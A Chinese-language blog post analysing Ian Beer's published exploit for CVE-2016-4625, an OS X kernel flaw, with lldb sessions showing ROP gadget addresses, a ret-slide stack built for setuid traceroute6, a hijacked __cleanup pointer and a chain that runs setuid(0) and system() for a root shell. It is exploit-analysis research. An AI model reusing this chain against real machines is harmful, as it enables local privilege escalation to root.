0x00 摘要
前两天Project Zero的blog上面,Ian Beer发表了一篇新的文章,讨论了在xnu
的内核在设计上存在的一个问题,从而可以导致提权,沙箱逃逸等一洗了的问题。并且提供了相应的的POC与EXP源码。这篇文章是调试与分析其中第一个漏洞CVE-2016-4625的部分。
OS X/iOS kernel use-after-free in IOSurface
0x01 准备工作
1.1 基础知识
在阅读本文之前,需要稍微了解一下mach_msg
相关的知识,以及一些使用mach_msg
的技巧,理解父进程与子进程交换port
之后可以做一些操作。
1.2 调试环境
本文的EXP
的运行环境是OS X 10.11.6
。使用的虚拟机软件是parallels desktop
0x02 漏洞成因
task_t considered harmful这篇已经说的很清楚了。这幅图大致反应出整个流程。
0x03 Exploit调试
对理解整个exploit
关键的几个点进行调试。
3.1 setup_payload_and_offsets
首先通过memmem
函数在libsystem_c.dylib
中找到几个相应的ROP
组件。
- ret指令所在地址
0x7fff8fe520d5
。
1 | (lldb) dis -s ret libsystem_c.dylib`strcpy: 0x7fff8fe520d5 <+85>: ret 0x7fff8fe520d6 <+86>: movdqu xmm0, xmmword ptr [rsi + rcx] 0x7fff8fe520db <+91>: movdqu xmmword ptr [rdi], xmm0 |
- pop_rdi_ret指令所在地址
0x7fff8fe8a213
。
1 | (lldb) dis -s pop_rdi_ret libsystem_c.dylib`addr2ascii: 0x7fff8fe8a213 <+116>: pop rdi 0x7fff8fe8a214 <+117>: ret 0x7fff8fe8a215 <+118>: add al, 0x0 |
- stack_shift_gadget指令所在地址
0x7fff8fed1cec
1 | (lldb) dis -s stack_shift_gadget libsystem_c.dylib`realpath$DARWIN_EXTSN: 0x7fff8fed1cec <+1935>: add rsp, 0x1d88 0x7fff8fed1cf3 <+1942>: pop rbx 0x7fff8fed1cf4 <+1943>: pop r12 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret |
因为traceroute6
的栈足够长,所以exploit
将payload
就放在栈上,通过stack_shift_gadget
跳到一串连续的ret
的gadget
处,从而触发提权代码的执行。
在args_u64的ROP
栈处理好之后,内存布局如下:
1 | (lldb) memory read -size 8 -format x -c100 args_u64 0x101000000: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000010: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000020: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000030: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000040: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000050: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000060: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000070: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000080: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000090: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010000a0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010000b0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010000c0: 0x00007fff8fe520d5 0x00007fff8fe520d5 |
可以看到0x00007fff8fe520d5
就是ret
的 gad_get
的地址。
1 | 383 // ret-slide |
在执行389-394行之后,最后的stack
内存的布局如下:
1 | (lldb) p/x i (int) $32 = 0x00000102 (lldb) p &args_u64[0x102] (uint8_t **) $30 = 0x0000000101000810 (lldb) memory read -size 8 -format x -count 30 0x0000000101000790 0x101000790: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010007a0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010007b0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010007c0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010007d0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010007e0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010007f0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000800: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000810: 0x00007fff8fe8a213 0x0000000000000000 0x101000820: 0x00007fff8a183628 0x00007fff8fe8a213 0x101000830: 0x00007fff8fedb69e 0x00007fff8fed0e0b 0x101000840: 0x0000000000000000 0x0000000000000000 0x101000850: 0x0000000000000000 0x0000000000000000 0x101000860: 0x0000000000000000 0x0000000000000000 0x101000870: 0x0000000000000000 0x0000000000000000 |
可以看到0x101000800
之前都是用ret
的gad_get
填充的,从0x101000810
开始是伪造的调用栈的结构。大致如下图所示:
1 | /* args |
ROP
的逻辑很简单,通过跳转到上面任意一个ret
,就会执行setuid(0),并且创建一个具有root
权限的shell
。通过execve
调用traceroute6
的时候需要将这一段并到execve
的参数上面去。
1 | 398 size_t argv_allocation_size = (ret_slide_length+100)*8*8; |
最后target_argv
的结构大致如下:
1 | /* |
3.2 do_parent
1 | 598 //overwrite the fptr value: |
do_parent
的这一行代码修改了__clean
处的地址。
在执行599行之前观察。
1 | (lldb) p/x *(uint64_t*)(shared_page+fptr_offset) |
在执行了overwrite
之后的内存如下:
1 | (lldb) p/x *(uint64_t*)(shared_page+fptr_offset) |
3.3 traceroute6
要调试execve
启动的traceroute6
,先通过lldb
启动surfacer00t_10_11_6
,对fork
下断点。
1 | (lldb) b fork Breakpoint 6: where = libsystem_c.dylib`fork, address = 0x00007fff8fe60f70 |
执行到fork
后会停下来。
1 | * thread #1: tid = 0x6e32, 0x00007fff8fe60f70 libsystem_c.dylib`fork, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1 |
这个时候启动另外一个lldb
进程,这个lldb
要用sudo
启动,否则会无法attach
。
1 | (lldb) process attach -name traceroute6 -waitfor |
通过这条指令,等待traceroute6
执行。同时继续执行fork
的lldb
。
1 | (lldb) process attach -name traceroute6 -waitfor |
就可以调试ROP
的执行过程。
有一点要注意,除了要sudo
启动第二个lldb
之外,系统还需要关闭SIP
,但是在Parallels Desktop中进入OS X的恢复模式,有点奇特。并不是command+R。
Information
This article describes how to boot into your OS X virtual machine’s Recovery Mode on Parallels Desktop.
- Start Parallels Desktop but do not start your virtual machine.
- Open virtual machine’s configuration window -> Hardware -> Boot Order.
- Enable Select boot device on startup option and close configuration window.
- Start your OS X virtual machine, click on the virtual machine window to make it grab the focus and press any key when prompted:
- On the Boot Manager window choose Mac OS X Recovery:
也可以看这里。
通过查看__cleanup
处的汇编代码可以看到函数已经被替换了。
1 | (lldb) p __cleanup (void *) $0 = 0x00007fff8fed1cec (lldb) dis -s __cleanup libsystem_c.dylib`realpath$DARWIN_EXTSN: 0x7fff8fed1cec <+1935>: addq $0x1d88, %rsp ; imm = 0x1D88 0x7fff8fed1cf3 <+1942>: popq %rbx 0x7fff8fed1cf4 <+1943>: popq %r12 0x7fff8fed1cf6 <+1945>: popq %r13 0x7fff8fed1cf8 <+1947>: popq %r14 0x7fff8fed1cfa <+1949>: popq %r15 0x7fff8fed1cfc <+1951>: popq %rbp 0x7fff8fed1cfd <+1952>: retq 0x7fff8fed1cfe <+1953>: callq 0x7fff8fed5fdc ; symbol stub for: __error 0x7fff8fed1d03 <+1958>: movl $0x3e, (%rax) |
可以对这里打断点后释放,就会执行到我们的栈上跳转的代码。
1 | (lldb) b *0x00007fff8fed1cec |
观察$rsp
寄存器
1 | (lldb) register read |
执行0x7fff8fed1cec
处开始的gad_get
之后,就会修改rsp
,并通过ret
指令,跳转到具体的payload
。
1 | -> 0x7fff8fed1cec <+1935>: add rsp, 0x1d88 |
执行的流程大致如下
1 | (lldb) n Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cf3 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1942, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cf3 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1942 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cf3 <+1942>: pop rbx 0x7fff8fed1cf4 <+1943>: pop r12 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cf4 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1943, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cf4 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1943 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cf4 <+1943>: pop r12 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cf6 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1945, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cf6 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1945 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cf8 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1947, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cf8 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1947 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cfa libsystem_c.dylib`realpath$DARWIN_EXTSN + 1949, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cfa libsystem_c.dylib`realpath$DARWIN_EXTSN + 1949 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret 0x7fff8fed1cfe <+1953>: call 0x7fff8fed5fdc ; symbol stub for: __error (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cfc libsystem_c.dylib`realpath$DARWIN_EXTSN + 1951, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cfc libsystem_c.dylib`realpath$DARWIN_EXTSN + 1951 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret 0x7fff8fed1cfe <+1953>: call 0x7fff8fed5fdc ; symbol stub for: __error 0x7fff8fed1d03 <+1958>: mov dword ptr [rax], 0x3e (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cfd libsystem_c.dylib`realpath$DARWIN_EXTSN + 1952, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cfd libsystem_c.dylib`realpath$DARWIN_EXTSN + 1952 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cfd <+1952>: ret 0x7fff8fed1cfe <+1953>: call 0x7fff8fed5fdc ; symbol stub for: __error 0x7fff8fed1d03 <+1958>: mov dword ptr [rax], 0x3e 0x7fff8fed1d09 <+1964>: jmp 0x7fff8fed1734 ; <+471> (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fe520d5 libsystem_c.dylib`strcpy + 85, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fe520d5 libsystem_c.dylib`strcpy + 85 libsystem_c.dylib`strcpy: -> 0x7fff8fe520d5 <+85>: ret 0x7fff8fe520d6 <+86>: movdqu xmm0, xmmword ptr [rsi + rcx] 0x7fff8fe520db <+91>: movdqu xmmword ptr [rdi], xmm0 0x7fff8fe520df <+95>: mov rax, rdi |
可以看到,最后一个执行的 是0x7fff8fe520d5
处的ret
。
观察寄存器可以发现$rip=0x00007fff8fe520d5
,$rsp=0x00007fff523dea18
。而栈已经变成了这样了。
1 | (lldb) memory read -size 8 -format x -count 100 0x00007fff523dea18 0x7fff523dea18: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea28: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea38: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea48: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea58: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea68: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea78: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea88: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea98: 0x00007fff8fe520d5 0x00007fff8fe520d5 |
继续执行代码
1 | (lldb) n Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fe8a213 libsystem_c.dylib`addr2ascii + 116, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fe8a213 libsystem_c.dylib`addr2ascii + 116 libsystem_c.dylib`addr2ascii: -> 0x7fff8fe8a213 <+116>: pop rdi 0x7fff8fe8a214 <+117>: ret 0x7fff8fe8a215 <+118>: add al, 0x0 0x7fff8fe8a217 <+120>: mov rax, rbx |
执行了我们的第一个ROP
的 gad_get
。这个时候再观察我们的函数栈
1 | (lldb) memory read -size 8 -format x -count 30 $rsp-0x20 0x7fff523def50: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523def60: 0x00007fff8fe520d5 0x00007fff8fe8a213 0x7fff523def70: 0x0000000000000000 0x00007fff8a183628 0x7fff523def80: 0x00007fff8fe8a213 0x00007fff8fedb69e 0x7fff523def90: 0x00007fff8fed0e0b 0x0000000000000000 0x7fff523defa0: 0x0000000000000000 0x0000000000000000 0x7fff523defb0: 0x0000000000000000 0x0000000000000000 0x7fff523defc0: 0x0000000000000000 0x0000000000000000 0x7fff523defd0: 0x0000000000000000 0x0000000000000000 0x7fff523defe0: 0x0000000000000000 0x0000000000000000 0x7fff523deff0: 0x0000000000000000 0x0000000000000000 0x7fff523df000: 0x0000000000000000 0x0000000000000000 0x7fff523df010: 0x0000000000000000 0x0000000000000000 0x7fff523df020: 0x0000000000000000 0x0000000000000000 0x7fff523df030: 0x0000000000000000 0x0000000000000000 |
就是我们构造的栈。
继续执行,也确实会看到相应的函数被执行。
1 | (lldb) n Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8a183628 libsystem_kernel.dylib`setuid, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8a183628 libsystem_kernel.dylib`setuid libsystem_kernel.dylib`setuid: -> 0x7fff8a183628 <+0>: mov eax, 0x2000017 0x7fff8a18362d <+5>: mov r10, rcx 0x7fff8a183630 <+8>: syscall 0x7fff8a183632 <+10>: jae 0x7fff8a18363c ; <+20> ...省略n步... Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed0e0b libsystem_c.dylib`system, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed0e0b libsystem_c.dylib`system libsystem_c.dylib`system: |
到此,exploit
最基本的逻辑算是理清楚了。
0x04 关于阻塞子进程
阻塞子进程的技巧所要达到的目的就是,让子进程调用execve
函数之后,内核中执行完task_t
相关数据修改后因为Pipe
阻塞的并且已经满了,所以不会立即开始执行traceroute6
的main
函数。这样就给父进程做内存改写的时间窗口。
0x05 小结
分析到这里,只是初步了解了exploit
的原理,对整个漏洞的分析才刚刚开始,有更多值得挖掘和思考的地方。这篇文章仅仅希望能够帮助大家解决研究OS X
内核漏洞的一些最基础的问题和小技巧。如果有不足之处还希望大家指出:)